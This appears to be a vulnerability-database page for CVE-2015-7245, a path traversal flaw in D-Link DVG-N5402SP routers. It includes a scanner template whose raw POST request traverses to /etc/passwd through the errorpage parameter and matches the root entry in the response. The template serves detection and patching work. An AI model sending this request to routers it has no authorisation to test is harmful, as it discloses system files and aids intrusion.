CVE-2015-7245: D-Link DVG-N5402SP - Local File Inclusion

2025-08-01 D-Link DVG-N5402SP PoC Public

Description

D-Link DVG-N5402SP is susceptible to local file inclusion in products with firmware W1000CN-00, W1000CN-03, or W2000EN-00. A remote attacker can read sensitive information via a .. (dot dot) in the errorpage parameter.

Details

CVE
CVE-2015-7245 · CVE.org
Severity
高危
Affected
D-Link DVG-N5402SP
Published
PoC
Public

PoC

id: CVE-2015-7245

info:
  name: D-Link DVG-N5402SP - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    D-Link DVG-N5402SP is susceptible to local file inclusion in products with firmware W1000CN-00, W1000CN-03, or W2000EN-00. A remote attacker can read sensitive information via a .. (dot dot) in the errorpage parameter.
  impact: |
    An attacker can read sensitive files on the system, potentially leading to unauthorized access or disclosure of sensitive information.
  remediation: |
    Update the router firmware to the latest version, which includes a fix for the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/135590/D-Link-DVG-N5402SP-Path-Traversal-Information-Disclosure.html
    - https://www.exploit-db.com/exploits/39409/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7245
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-7245
    cwe-id: CWE-22
    epss-score: 0.45479
    epss-percentile: 0.98811
    cpe: cpe:2.3:o:d-link:dvg-n5402sp_firmware:w1000cn-00:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: d-link
    product: dvg-n5402sp_firmware
  tags: cve2015,cve,dlink,lfi,packetstorm,edb,d-link,vuln

http:
  - raw:
      - |
        POST /cgibin/webproc HTTP/1.1
        Host: {{Hostname}}

        getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/passwd&var%3Amenu=setup&var%3Apage=connected&var%&objaction=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 490a0046304402200c7d60802cf3f431a9f8421cf013cfdcfe5022893b822c6e5b17bb8f5db2b823022032d182dd64e79bc5f4e8d2cb0fedb72004b6a7952b2cd2c3157ab25a3b155e0d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life